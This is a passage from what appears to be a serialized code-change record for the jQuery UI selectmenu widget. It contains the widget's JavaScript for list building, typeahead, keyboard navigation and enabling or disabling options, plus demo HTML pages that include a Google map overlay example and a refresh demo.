function(event) {\n\t\t\t\tself._typeAhead(event.which, 'focus');\n\t\t\t\treturn true;\n\t\t\t})\n\t\t\t// this allows for using the scrollbar in an overflowed list\n\t\t\t.bind( 'mousedown.selectmenu mouseup.selectmenu', function() { return false; });\n\n\n\t\t// needed when window is resized\n\t\t$(window).bind( \"resize.selectmenu\", $.proxy( self._refreshPosition, this ) );\n\t},\n\n\t_init: function() {\n\t\tvar self = this, o = this.options;\n\n\t\t// serialize selectmenu element options\n\t\tvar selectOptionData = [];\n\t\tthis.element\n\t\t\t.find('option')\n\t\t\t.each(function() {\n\t\t\t\tselectOptionData.push({\n\t\t\t\t\tvalue: $(this).attr('value'),\n\t\t\t\t\ttext: self._formatText($(this).text()),\n\t\t\t\t\tselected: $(this).attr('selected'),\n\t\t\t\t\tdisabled: $(this).attr('disabled'),\n\t\t\t\t\tclasses: $(this).attr('class'),\n\t\t\t\t\ttypeahead: $(this).attr('typeahead'),\n\t\t\t\t\tparentOptGroup: $(this).parent('optgroup'),\n\t\t\t\t\tbgImage: o.bgImage.call($(this))\n\t\t\t\t});\n\t\t\t});\n\n\t\t// active state class is only used in popup style\n\t\tvar activeClass = (self.options.style == \"popup\") ? \" ui-state-active\" : \"\";\n\n\t\t// empty list so we can refresh the selectmenu via selectmenu()\n\t\tthis.list.html(\"\");\n\n\t\t// write li's\n\t\tfor (var i = 0; i < selectOptionData.length; i++) {\n\t\t\t\tvar thisLi = $('<li role=\"presentation\"' + (selectOptionData[i].disabled ? ' class=\"' + this.namespace + '-state-disabled' + '\"' : '' ) + '><a href=\"#\" tabindex=\"-1\" role=\"option\"' + (selectOptionData[i].disabled ? ' aria-disabled=\"true\"' : '' ) + ' aria-selected=\"false\"' + (selectOptionData[i].typeahead ? ' typeahead=\"' + selectOptionData[i].typeahead + '\"' : '' ) + '>'+ selectOptionData[i].text +'</a></li>')\n\t\t\t\t.data('index', i)\n\t\t\t\t.addClass(selectOptionData[i].classes)\n\t\t\t\t.data('optionClasses', selectOptionData[i].classes || '')\n\t\t\t\t.bind(\"mouseup.selectmenu\", function(event) {\n\t\t\t\t\tif (self._safemouseup && !self._disabled(event.currentTarget) && !self._disabled($( event.currentTarget ).parents( \"ul>li.\" + self.widgetBaseClass + \"-group \" )) ) {\n\t\t\t\t\t\tvar changed = $(this).data('index') != self._selectedIndex();\n\t\t\t\t\t\tself.index($(this).data('index'));\n\t\t\t\t\t\tself.select(event);\n\t\t\t\t\t\tif (changed) {\n\t\t\t\t\t\t\tself.change(event);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t}\n\t\t\t\t\treturn false;\n\t\t\t\t})\n\t\t\t\t.bind(\"click.selectmenu\", function() {\n\t\t\t\t\treturn false;\n\t\t\t\t})\n\t\t\t\t.bind('mouseover.selectmenu focus.selectmenu', function(e) {\n\t\t\t\t\t// no hover if diabled\n\t\t\t\t\tif (!$(e.currentTarget).hasClass(self.namespace + '-state-disabled')) {\n\t\t\t\t\t\tself._selectedOptionLi().addClass(activeClass);\n\t\t\t\t\t\tself._focusedOptionLi().removeClass(self.widgetBaseClass + '-item-focus ui-state-hover');\n\t\t\t\t\t\t$(this).removeClass('ui-state-active').addClass(self.widgetBaseClass + '-item-focus ui-state-hover');\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t\t.bind('mouseout.selectmenu blur.selectmenu', function() {\n\t\t\t\t\tif ($(this).is(self._selectedOptionLi().selector)) {\n\t\t\t\t\t\t$(this).addClass(activeClass);\n\t\t\t\t\t}\n\t\t\t\t\t$(this).removeClass(self.widgetBaseClass + '-item-focus ui-state-hover');\n\t\t\t\t});\n\n\t\t\t// optgroup or not...\n\t\t\tif ( selectOptionData[i].parentOptGroup.length ) {\n\t\t\t\tvar optGroupName = self.widgetBaseClass + '-group-' + this.element.find( 'optgroup' ).index( selectOptionData[i].parentOptGroup );\n\t\t\t\tif (this.list.find( 'li.' + optGroupName ).length ) {\n\t\t\t\t\tthis.list.find( 'li.' + optGroupName + ':last ul' ).append( thisLi );\n\t\t\t\t} else {\n\t\t\t\t\t$(' <li role=\"presentation\" class=\"' + self.widgetBaseClass + '-group ' + optGroupName + (selectOptionData[i].parentOptGroup.attr(\"disabled\") ? ' ' + this.namespace + '-state-disabled\" aria-disabled=\"true\"' : '\"' ) + '><span class=\"' + self.widgetBaseClass + '-group-label\">' + selectOptionData[i].parentOptGroup.attr('label') + '</span><ul></ul></li> ')\n\t\t\t\t\t\t.appendTo( this.list )\n\t\t\t\t\t\t.find( 'ul' )\n\t\t\t\t\t\t.append( thisLi );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tthisLi.appendTo(this.list);\n\t\t\t}\n\n\t\t\t// append icon if option is specified\n\t\t\tif (o.icons) {\n\t\t\t\tfor (var j in o.icons) {\n\t\t\t\t\tif (thisLi.is(o.icons[j].find)) {\n\t\t\t\t\t\tthisLi\n\t\t\t\t\t\t\t.data('optionClasses', selectOptionData[i].classes + ' ' + self.widgetBaseClass + '-hasIcon')\n\t\t\t\t\t\t\t.addClass(self.widgetBaseClass + '-hasIcon');\n\t\t\t\t\t\tvar iconClass = o.icons[j].icon || \"\";\n\t\t\t\t\t\tthisLi\n\t\t\t\t\t\t\t.find('a:eq(0)')\n\t\t\t\t\t\t\t.prepend('<span class=\"' + self.widgetBaseClass + '-item-icon ui-icon ' + iconClass + '\"></span>');\n\t\t\t\t\t\tif (selectOptionData[i].bgImage) {\n\t\t\t\t\t\t\tthisLi.find('span').css('background-image', selectOptionData[i].bgImage);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// we need to set and unset the CSS classes for dropdown and popup style\n\t\tvar isDropDown = (o.style == 'dropdown');\n\t\tthis.newelement\n\t\t\t.toggleClass(self.widgetBaseClass + \"-dropdown\", isDropDown)\n\t\t\t.toggleClass(self.widgetBaseClass + \"-popup\", !isDropDown);\n\t\tthis.list\n\t\t\t.toggleClass(self.widgetBaseClass + \"-menu-dropdown ui-corner-bottom\", isDropDown)\n\t\t\t.toggleClass(self.widgetBaseClass + \"-menu-popup ui-corner-all\", !isDropDown)\n\t\t\t// add corners to top and bottom menu items\n\t\t\t.find('li:first')\n\t\t\t.toggleClass(\"ui-corner-top\", !isDropDown)\n\t\t\t.end().find('li:last')\n\t\t\t.addClass(\"ui-corner-bottom\");\n\t\tthis.selectmenuIcon\n\t\t\t.toggleClass('ui-icon-triangle-1-s', isDropDown)\n\t\t\t.toggleClass('ui-icon-triangle-2-n-s', !isDropDown);\n\n\t\t// transfer classes to selectmenu and list\n\t\tif (o.transferClasses) {\n\t\t\tvar transferClasses = this.element.attr('class') || '';\n\t\t\tthis.newelement.add(this.list).addClass(transferClasses);\n\t\t}\n\n\t\t// set menu width to either menuWidth option value, width option value, or select width\n\t\tif (o.style == 'dropdown') {\n\t\t\tthis.list.width(o.menuWidth ? o.menuWidth : o.width);\n\t\t} else {\n\t\t\tthis.list.width(o.menuWidth ? o.menuWidth : o.width - o.handleWidth);\n\t\t}\n\t\to.minMenuWidth && this.list.width() < o.minMenuWidth && this.list.width(o.minMenuWidth);\n\n\t\t// calculate default max height\n\t\tif (o.maxHeight) {\n\t\t\t// set max height from option\n\t\t\tif (o.maxHeight < this.list.height()) {\n\t\t\t\tthis.list.height(o.maxHeight);\n\t\t\t}\n\t\t} else {\n\t\t\tif (!o.format && ($(window).height() / 3) < this.list.height()) {\n\t\t\t\to.maxHeight = $(window).height() / 3;\n\t\t\t\tthis.list.height(o.maxHeight);\n\t\t\t}\n\t\t}\n\n\t\t// save reference to actionable li's (not group label li's)\n\t\tthis._optionLis = this.list.find('li:not(.' + self.widgetBaseClass + '-group)');\n\n\t\t// transfer disabled state\n\t\tif ( this.element.attr( 'disabled' ) === true ) {\n\t\t\tthis.disable();\n\t\t} else {\n\t\t\tthis.enable()\n\t\t}\n\t\t\n\t\t// update value\n\t\tthis.index(this._selectedIndex());\n\n\t\t// needed when selectmenu is placed at the very bottom / top of the page\n\t\twindow.setTimeout(function() {\n\t\t\tself._refreshPosition();\n\t\t}, 200);\n\t},\n\n\tdestroy: function() {\n\t\tthis.element.removeData( this.widgetName )\n\t\t\t.removeClass( this.widgetBaseClass + '-disabled' + ' ' + this.namespace + '-state-disabled' )\n\t\t\t.removeAttr( 'aria-disabled' )\n\t\t\t.unbind( \".selectmenu\" );\n\n\t\t$( window ).unbind( \".selectmenu\" );\n\t\t$( document ).unbind( \".selectmenu\" );\n\n\t\t// unbind click on label, reset its for attr\n\t\t$( 'label[for=' + this.newelement.attr('id') + ']' )\n\t\t\t.attr( 'for', this.element.attr( 'id' ) )\n\t\t\t.unbind( '.selectmenu' );\n\n\t\tif ( this.options.wrapperElement ) {\n\t\t\tthis.newelement.find( this.options.wrapperElement ).remove();\n\t\t\tthis.list.find( this.options.wrapperElement ).remove();\n\t\t} else {\n\t\t\tthis.newelement.remove();\n\t\t\tthis.list.remove();\n\t\t}\n\t\tthis.element.show();\n\n\t\t// call widget destroy function\n\t\t$.Widget.prototype.destroy.apply(this, arguments);\n\t},\n\n\t_typeAhead: function(code, eventType){\n\t\tvar self = this, focusFound = false, C = String.fromCharCode(code).toUpperCase();\n\t\tc = C.toLowerCase();\n\n\t\tif (self.options.typeAhead == 'sequential') {\n\t\t\t// clear the timeout so we can use _prevChar\n\t\t\twindow.clearTimeout('ui.selectmenu-' + self.selectmenuId);\n\n\t\t\t// define our find var\n\t\t\tvar find = typeof(self._prevChar) == 'undefined' ? '' : self._prevChar.join('');\n\n\t\t\tfunction focusOptSeq(elem, ind, c){\n\t\t\t\tfocusFound = true;\n\t\t\t\t$(elem).trigger(eventType);\n\t\t\t\ttypeof(self._prevChar) == 'undefined' ? self._prevChar = [c] : self._prevChar[self._prevChar.length] = c;\n\t\t\t}\n\t\t\tthis.list.find('li a').each(function(i) {\n\t\t\t\tif (!focusFound) {\n\t\t\t\t\t// allow the typeahead attribute on the option tag for a more specific lookup\n\t\t\t\t\tvar thisText = $(this).attr('typeahead') || $(this).text();\n\t\t\t\t\tif (thisText.indexOf(find+C) == 0) {\n\t\t\t\t\t\tfocusOptSeq(this,i,C)\n\t\t\t\t\t} else if (thisText.indexOf(find+c) == 0) {\n\t\t\t\t\t\tfocusOptSeq(this,i,c)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\t// set a 1 second timeout for sequenctial typeahead\n\t\t\t//  \tkeep this set even if we have no matches so it doesnt typeahead somewhere else\n\t\t\twindow.setTimeout(function(el) {\n\t\t\t\tself._prevChar = undefined;\n\t\t\t}, 1000, self);\n\n\t\t} else {\n\t\t\t//define self._prevChar if needed\n\t\t\tif (!self._prevChar){ self._prevChar = ['',0]; }\n\n\t\t\tvar focusFound = false;\n\t\t\tfunction focusOpt(elem, ind){\n\t\t\t\tfocusFound = true;\n\t\t\t\t$(elem).trigger(eventType);\n\t\t\t\tself._prevChar[1] = ind;\n\t\t\t}\n\t\t\tthis.list.find('li a').each(function(i){\n\t\t\t\tif(!focusFound){\n\t\t\t\t\tvar thisText = $(this).text();\n\t\t\t\t\tif( thisText.indexOf(C) == 0 || thisText.indexOf(c) == 0){\n\t\t\t\t\t\t\tif(self._prevChar[0] == C){\n\t\t\t\t\t\t\t\tif(self._prevChar[1] < i){ focusOpt(this,i); }\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{ focusOpt(this,i); }\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\tthis._prevChar[0] = C;\n\t\t}\n\t},\n\n\t// returns some usefull information, called by callbacks only\n\t_uiHash: function() {\n\t\tvar index = this.index();\n\t\treturn {\n\t\t\tindex: index,\n\t\t\toption: $(\"option\", this.element).get(index),\n\t\t\tvalue: this.element[0].value\n\t\t};\n\t},\n\n\topen: function(event) {\n\t\tvar self = this;\n\t\tif ( this.newelement.attr(\"aria-disabled\") != 'true' ) {\n\t\t\tthis._closeOthers(event);\n\t\t\tthis.newelement\n\t\t\t\t.addClass('ui-state-active');\n\t\t\tif (self.options.wrapperElement) {\n\t\t\t\tthis.list.parent().appendTo('body');\n\t\t\t} else {\n\t\t\t\tthis.list.appendTo('body');\n\t\t\t}\n\n\t\t\tthis.list.addClass(self.widgetBaseClass + '-open')\n\t\t\t\t.attr('aria-hidden', false)\n\t\t\t\t.find('li:not(.' + self.widgetBaseClass + '-group):eq(' + this._selectedIndex() + ') a')[0].focus();\n\t\t\tif ( this.options.style == \"dropdown\" ) {\n\t\t\t\tthis.newelement.removeClass('ui-corner-all').addClass('ui-corner-top');\n\t\t\t}\n\t\t\tthis._refreshPosition();\n\t\t\tthis._trigger(\"open\", event, this._uiHash());\n\t\t}\n\t},\n\n\tclose: function(event, retainFocus) {\n\t\tif ( this.newelement.is('.ui-state-active') ) {\n\t\t\tthis.newelement\n\t\t\t\t.removeClass('ui-state-active');\n\t\t\tthis.list\n\t\t\t\t.attr('aria-hidden', true)\n\t\t\t\t.removeClass(this.widgetBaseClass + '-open');\n\t\t\tif ( this.options.style == \"dropdown\" ) {\n\t\t\t\tthis.newelement.removeClass('ui-corner-top').addClass('ui-corner-all');\n\t\t\t}\n\t\t\tif ( retainFocus ) {\n\t\t\t\tthis.newelement.focus();\n\t\t\t}\n\t\t\tthis._trigger(\"close\", event, this._uiHash());\n\t\t}\n\t},\n\n\tchange: function(event) {\n\t\tthis.element.trigger(\"change\");\n\t\tthis._trigger(\"change\", event, this._uiHash());\n\t},\n\n\tselect: function(event) {\n\t\tif (this._disabled(event.currentTarget)) { return false; }\n\t\tthis._trigger(\"select\", event, this._uiHash());\n\t},\n\n\t_closeOthers: function(event) {\n\t\t$('.' + this.widgetBaseClass + '.ui-state-active').not(this.newelement).each(function() {\n\t\t\t$(this).data('selectelement').selectmenu('close', event);\n\t\t});\n\t\t$('.' + this.widgetBaseClass + '.ui-state-hover').trigger('mouseout');\n\t},\n\n\t_toggle: function(event, retainFocus) {\n\t\tif ( this.list.is('.' + this.widgetBaseClass + '-open') ) {\n\t\t\tthis.close(event, retainFocus);\n\t\t} else {\n\t\t\tthis.open(event);\n\t\t}\n\t},\n\n\t_formatText: function(text) {\n\t\treturn (this.options.format ? this.options.format(text) : text);\n\t},\n\n\t_selectedIndex: function() {\n\t\treturn this.element[0].selectedIndex;\n\t},\n\n\t_selectedOptionLi: function() {\n\t\treturn this._optionLis.eq(this._selectedIndex());\n\t},\n\n\t_focusedOptionLi: function() {\n\t\treturn this.list.find('.' + this.widgetBaseClass + '-item-focus');\n\t},\n\n\t_moveSelection: function(amt, recIndex) {\n\t\tvar currIndex = parseInt(this._selectedOptionLi().data('index') || 0, 10);\n\t\tvar newIndex = currIndex + amt;\n\t\t// do not loop when using up key\n\n\t\tif (newIndex < 0) {\n\t\t\tnewIndex = 0;\n\t\t}\n\t\tif (newIndex > this._optionLis.size() - 1) {\n\t\t\tnewIndex = this._optionLis.size() - 1;\n\t\t}\n\t\t//Occurs when a full loop has been made\n\t\tif (newIndex === recIndex) { return false; }\n\n\t\tif (this._optionLis.eq(newIndex).hasClass( this.namespace + '-state-disabled' )) {\n\t\t\t// if option at newIndex is disabled, call _moveFocus, incrementing amt by one\n\t\t\t(amt > 0) ? ++amt : --amt;\n\t\t\tthis._moveSelection(amt, newIndex);\n\t\t} else {\n\t\t\treturn this._optionLis.eq(newIndex).trigger('mouseup');\n\t\t}\n\t},\n\n\t_moveFocus: function(amt, recIndex) {\n\t\tif (!isNaN(amt)) {\n\t\t\tvar currIndex = parseInt(this._focusedOptionLi().data('index') || 0, 10);\n\t\t\tvar newIndex = currIndex + amt;\n\t\t}\n\t\telse {\n\t\t\tvar newIndex = parseInt(this._optionLis.filter(amt).data('index'), 10);\n\t\t}\n\n\t\tif (newIndex < 0) {\n\t\t\tnewIndex = 0;\n\t\t}\n\t\tif (newIndex > this._optionLis.size() - 1) {\n\t\t\tnewIndex = this._optionLis.size() - 1;\n\t\t}\n\n\t\t//Occurs when a full loop has been made\n\t\tif (newIndex === recIndex) { return false; }\n\n\t\tvar activeID = this.widgetBaseClass + '-item-' + Math.round(Math.random() * 1000);\n\n\t\tthis._focusedOptionLi().find('a:eq(0)').attr('id', '');\n\n\t\tif (this._optionLis.eq(newIndex).hasClass( this.namespace + '-state-disabled' )) {\n\t\t\t// if option at newIndex is disabled, call _moveFocus, incrementing amt by one\n\t\t\t(amt > 0) ? ++amt : --amt;\n\t\t\tthis._moveFocus(amt, newIndex);\n\t\t} else {\n\t\t\tthis._optionLis.eq(newIndex).find('a:eq(0)').attr('id',activeID).focus();\n\t\t}\n\n\t\tthis.list.attr('aria-activedescendant', activeID);\n\t},\n\n\t_scrollPage: function(direction) {\n\t\tvar numPerPage = Math.floor(this.list.outerHeight() / this.list.find('li:first').outerHeight());\n\t\tnumPerPage = (direction == 'up' ? -numPerPage : numPerPage);\n\t\tthis._moveFocus(numPerPage);\n\t},\n\n\t_setOption: function(key, value) {\n\t\tthis.options[key] = value;\n\t\t// set\n\t\tif (key == 'disabled') {\n\t\t\tthis.close();\n\t\t\tthis.element\n\t\t\t\t.add(this.newelement)\n\t\t\t\t.add(this.list)[value ? 'addClass' : 'removeClass'](\n\t\t\t\t\tthis.widgetBaseClass + '-disabled' + ' ' +\n\t\t\t\t\tthis.namespace + '-state-disabled')\n\t\t\t\t.attr(\"aria-disabled\", value);\n\t\t}\n\t},\n\n\tdisable: function(index, type){\n\t\t\t// if options is not provided, call the parents disable function\n\t\t\tif ( typeof( index ) == 'undefined' ) {\n\t\t\t\tthis._setOption( 'disabled', true );\n\t\t\t} else {\n\t\t\t\tif ( type == \"optgroup\" ) {\n\t\t\t\t\tthis._disableOptgroup(index);\n\t\t\t\t} else {\n\t\t\t\t\tthis._disableOption(index);\n\t\t\t\t}\n\t\t\t}\n\t},\n\n\tenable: function(index, type) {\n\t\t\t// if options is not provided, call the parents enable function\n\t\t\tif ( typeof( index ) == 'undefined' ) {\n\t\t\t\tthis._setOption('disabled', false);\n\t\t\t} else {\n\t\t\t\tif ( type == \"optgroup\" ) {\n\t\t\t\t\tthis._enableOptgroup(index);\n\t\t\t\t} else {\n\t\t\t\t\tthis._enableOption(index);\n\t\t\t\t}\n\t\t\t}\n\t},\n\n\t_disabled: function(elem) {\n\t\t\treturn $(elem).hasClass( this.namespace + '-state-disabled' );\n\t},\n\n\n\t_disableOption: function(index) {\n\t\t\tvar optionElem = this._optionLis.eq(index);\n\t\t\tif (optionElem) {\n\t\t\t\toptionElem.addClass(this.namespace + '-state-disabled')\n\t\t\t\t\t.find(\"a\").attr(\"aria-disabled\", true);\n\t\t\t\tthis.element.find(\"option\").eq(index).attr(\"disabled\", \"disabled\");\n\t\t\t}\n\t},\n\n\t_enableOption: function(index) {\n\t\t\tvar optionElem = this._optionLis.eq(index);\n\t\t\tif (optionElem) {\n\t\t\t\toptionElem.removeClass( this.namespace + '-state-disabled' )\n\t\t\t\t\t.find(\"a\").attr(\"aria-disabled\", false);\n\t\t\t\tthis.element.find(\"option\").eq(index).removeAttr(\"disabled\");\n\t\t\t}\n\t},\n\n\t_disableOptgroup: function(index) {\n\t\t\tvar optGroupElem = this.list.find( 'li.' + this.widgetBaseClass + '-group-' + index );\n\t\t\tif (optGroupElem) {\n\t\t\t\toptGroupElem.addClass(this.namespace + '-state-disabled')\n\t\t\t\t\t.attr(\"aria-disabled\", true);\n\t\t\t\tthis.element.find(\"optgroup\").eq(index).attr(\"disabled\", \"disabled\");\n\t\t\t}\n\t},\n\n\t_enableOptgroup: function(index) {\n\t\t\tvar optGroupElem = this.list.find( 'li.' + this.widgetBaseClass + '-group-' + index );\n\t\t\tif (optGroupElem) {\n\t\t\t\toptGroupElem.removeClass(this.namespace + '-state-disabled')\n\t\t\t\t\t.attr(\"aria-disabled\", false);\n\t\t\t\tthis.element.find(\"optgroup\").eq(index).removeAttr(\"disabled\");\n\t\t\t}\n\t},\n\n\tindex: function(newValue) {\n\t\tif (arguments.length) {\n\t\t\tif (!this._disabled($(this._optionLis[newValue]))) {\n\t\t\t\tthis.element[0].selectedIndex = newValue;\n\t\t\t\tthis._refreshValue();\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} else {\n\t\t\treturn this._selectedIndex();\n\t\t}\n\t},\n\n\tvalue: function(newValue) {\n\t\tif (arguments.length) {\n\t\t\tthis.element[0].value = newValue;\n\t\t\tthis._refreshValue();\n\t\t} else {\n\t\t\treturn this.element[0].value;\n\t\t}\n\t},\n\n\t_refreshValue: function() {\n\t\tvar activeClass = (this.options.style == \"popup\") ? \" ui-state-active\" : \"\";\n\t\tvar activeID = this.widgetBaseClass + '-item-' + Math.round(Math.random() * 1000);\n\t\t// deselect previous\n\t\tthis.list\n\t\t\t.find('.' + this.widgetBaseClass + '-item-selected')\n\t\t\t.removeClass(this.widgetBaseClass + \"-item-selected\" + activeClass)\n\t\t\t.find('a')\n\t\t\t.attr('aria-selected', 'false')\n\t\t\t.attr('id', '');\n\t\t// select new\n\t\tthis._selectedOptionLi()\n\t\t\t.addClass(this.widgetBaseClass + \"-item-selected\" + activeClass)\n\t\t\t.find('a')\n\t\t\t.attr('aria-selected', 'true')\n\t\t\t.attr('id', activeID);\n\n\t\t// toggle any class brought in from option\n\t\tvar currentOptionClasses = (this.newelement.data('optionClasses') ? this.newelement.data('optionClasses') : \"\");\n\t\tvar newOptionClasses = (this._selectedOptionLi().data('optionClasses') ? this._selectedOptionLi().data('optionClasses') : \"\");\n\t\tthis.newelement\n\t\t\t.removeClass(currentOptionClasses)\n\t\t\t.data('optionClasses', newOptionClasses)\n\t\t\t.addClass( newOptionClasses )\n\t\t\t.find('.' + this.widgetBaseClass + '-status')\n\t\t\t.html(\n\t\t\t\tthis._selectedOptionLi()\n\t\t\t\t\t.find('a:eq(0)')\n\t\t\t\t\t.html()\n\t\t\t);\n\n\t\tthis.list.attr('aria-activedescendant', activeID);\n\t},\n\n\t_refreshPosition: function() {\n\t\tvar o = this.options;\n\t\t// if its a native pop-up we need to calculate the position of the selected li\n\t\tif (o.style == \"popup\" && !o.positionOptions.offset) {\n\t\t\tvar selected = this._selectedOptionLi();\n\t\t\tvar _offset = \"0 -\" + (selected.outerHeight() + selected.offset().top - this.list.offset().top);\n\t\t}\n\t\t// update zIndex if jQuery UI is able to process\n\t\tvar zIndexElement = this.element.zIndex();\n\t\tif (zIndexElement) {\n\t\t\tthis.list.css({\n\t\t\t\tzIndex: zIndexElement\n\t\t\t});\n\t\t}\n\t\tthis.list.position({\n\t\t\t\t// set options for position plugin\n\t\t\t\tof: o.positionOptions.of || this.newelement,\n\t\t\t\tmy: o.positionOptions.my,\n\t\t\t\tat: o.positionOptions.at,\n\t\t\t\toffset: o.positionOptions.offset || _offset,\n\t\t\t\tcollision: o.positionOptions.collision || 'flip'\n\t\t\t});\n\t}\n});\n\n})(jQuery);\n"}, "files_after": {"demos/selectmenu/overlay.html": "\ufeff<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n  <head>\r\n    <meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;\" />\r\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\r\n    <title>OpenLayers Google Layer Example</title>\r\n    <link rel=\"stylesheet\" href=\"http://openlayers.org/dev/examples/../theme/default/style.css\" type=\"text/css\" />\r\n    <link rel=\"stylesheet\" href=\"http://openlayers.org/dev/examples/../theme/default/google.css\" type=\"text/css\" />\r\n    <link rel=\"stylesheet\" href=\"http://openlayers.org/dev/examples/style.css\" type=\"text/css\" />\r\n    <!-- this gmaps key generated for http://openlayers.org/dev/ -->\r\n\r\n\t<link type=\"text/css\" href=\"../../themes/base/jquery.ui.all.css\" rel=\"stylesheet\" />\r\n\t<link type=\"text/css\" href=\"../../themes/base/jquery.ui.selectmenu.css\" rel=\"stylesheet\" />\r\n\t<script type=\"text/javascript\" src=\"../../jquery-1.5.1.js\"></script>\r\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.core.js\"></script>\r\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.widget.js\"></script>\r\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.position.js\"></script>\r\n\t\r\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.selectmenu.js\"></script>\r\n\r\n\r\n    <script src='http://maps.google.com/maps?file=api'></script>\r\n    <script src=\"http://openlayers.org/dev/examples/../OpenLayers.js\"></script>\r\n    <script type=\"text/javascript\">\r\n        var map;\r\n\r\n        function init() {\r\n            map = new OpenLayers.Map('map');\r\n            map.addControl(new OpenLayers.Control.LayerSwitcher());\r\n            \r\n            var gphy = new OpenLayers.Layer.Google(\r\n                \"Google Physical\",\r\n                {type: G_PHYSICAL_MAP}\r\n            );\r\n            var gmap = new OpenLayers.Layer.Google(\r\n                \"Google Streets\", // the default\r\n                {numZoomLevels: 20}\r\n            );\r\n            var ghyb = new OpenLayers.Layer.Google(\r\n                \"Google Hybrid\",\r\n                {type: G_HYBRID_MAP, numZoomLevels: 20}\r\n            );\r\n            var gsat = new OpenLayers.Layer.Google(\r\n                \"Google Satellite\",\r\n                {type: G_SATELLITE_MAP, numZoomLevels: 22}\r\n            );\r\n\r\n\r\n            map.addLayers([gphy, gmap, ghyb, gsat]);\r\n\r\n            map.setCenter(new OpenLayers.LonLat(10.2, 48.9), 5);\r\n            \r\n            $(\"#Selector\").selectmenu({style: 'popup',width: 300,menuWidth:300,maxHeight:240});\r\n        }\r\n    </script>\r\n  </head>\r\n  <body onload=\"init()\">\r\n    <h1 id=\"title\">Google Layer Example</h1>\r\n\r\n    <div id=\"tags\">\r\n        Google\r\n    </div>\r\n\r\n    <p id=\"shortdesc\">\r\n        Demonstrate use of the various types of Google layers.\r\n    </p>\r\n    <select  class=\"selectClass\" id=\"Selector\" >\r\n    <option value=\"-1\">Select one</option>\r\n<option value=\"236\">a</option>\r\n<option value=\"257\">b</option>\r\n<option value=\"237\">c</option>\r\n<option value=\"251\">d</option>\r\n<option value=\"263\">e</option>\r\n<option value=\"248\">f</option>\r\n<option value=\"262\">g</option>\r\n<option value=\"260\">h</option>\r\n<option value=\"234\">i</option>\r\n<option value=\"229\">j</option>\r\n<option value=\"230\">k</option>\r\n<option value=\"240\">m</option>\r\n<option value=\"79\">n</option>\r\n\r\n</select>\r\n    <div id=\"map\" class=\"smallmap\"></div>\r\n\r\n  </body>\r\n</html>", "demos/selectmenu/refresh.html": "<!DOCTYPE html>\n<html>\n\t<head>\n\t<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n\t<title>Demo Page for jQuery UI selectmenu</title>\n\t\n\t<link type=\"text/css\" href=\"../../themes/base/jquery.ui.all.css\" rel=\"stylesheet\" />\n\t<link type=\"text/css\" href=\"../../themes/base/jquery.ui.selectmenu.css\" rel=\"stylesheet\" />\n\t<script type=\"text/javascript\" src=\"../../jquery-1.5.1.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.core.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.widget.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.position.js\"></script>\n\t\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.selectmenu.js\"></script>\n\n\t<style type=\"text/css\">\n\t\t/* demo styles */\n\t\tbody {font-size: 62.5%; font-family:\"Verdana\",sans-serif; }\n\t\tfieldset { border:0; }\t\n\t\tlabel,select,.ui-select-menu { float: left; margin-right: 10px; }\n\t\tselect { width: 200px; }\t\t\n\t\tinput#btn { cursor: pointer; }\n\t\ttextarea {\n\t\t\twidth: 500px;\n\t\t\theight: 200px;\n\t\t}\n\t</style>\n\t<script type=\"text/javascript\">\t\n\t\t$(function() {\n\t\t\t$('select#speedA').selectmenu();\n\t\t\t\n\t\t\t$('#btn').click(function() {\n\t\t\t\t$('select#speedA').html($(\"#add\").val());\n\t\t\t\t$('select#speedA').selectmenu();\n\t\t\t});\n\t\t});\n\t</script>\n</head>\n<body><form action=\"#\">\n    <br /><br /><br />\n    <fieldset>\n        <label for=\"speedA\">Select a Speed:</label>\n        <select name=\"speedA\" id=\"speedA\">\n            <option value=\"1\">Item 1</option>\n            <option value=\"2\">Item 2</option>\n            <option value=\"3\">Item 3</option>\n            <option value=\"4\">Item 4</option>\n            <option value=\"5\">Item 5</option>\n            <option value=\"6\">Item 6</option>\n            <option value=\"7\">Item 7</option>\n            <option value=\"8\">Item 8</option>\n            <option value=\"9\">Item 9</option>\n            <option value=\"10\">Item 10</option>\n            <option value=\"11\">Item 11</option>\n            <option value=\"12\">Item 12</option>\n            <option value=\"13\">Item 13</option>\n            <option value=\"14\">Item 14</option>\n        </select>\n    </fieldset>\n    <br /><br /><br />\n\t<textarea id=\"add\">\n<option value=\"1\">New Item 1</option>\n<option value=\"2\">New Item 2</option>\n<option value=\"3\">New Item 3</option>\n\t</textarea>\n\t<br />\n    <input type=\"button\" class=\"ui-state-default ui-widget-content\" id=\"btn\" value=\"Refresh Selectmenu\" />\n</form>\n</body>\n</html>", "demos/selectmenu/typeahead.html": "<!DOCTYPE html>\n<html>\n\t<head>\n\t<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n\t<title>Demo Page for jQuery UI selectmenu</title>\n\t\n\t<link type=\"text/css\" href=\"../../themes/base/jquery.ui.all.css\" rel=\"stylesheet\" />\n\t<link type=\"text/css\" href=\"../../themes/base/jquery.ui.selectmenu.css\" rel=\"stylesheet\" />\n\t<script type=\"text/javascript\" src=\"../../jquery-1.5.1.js\"></script>\n\t<script type=\"text/javascript\" 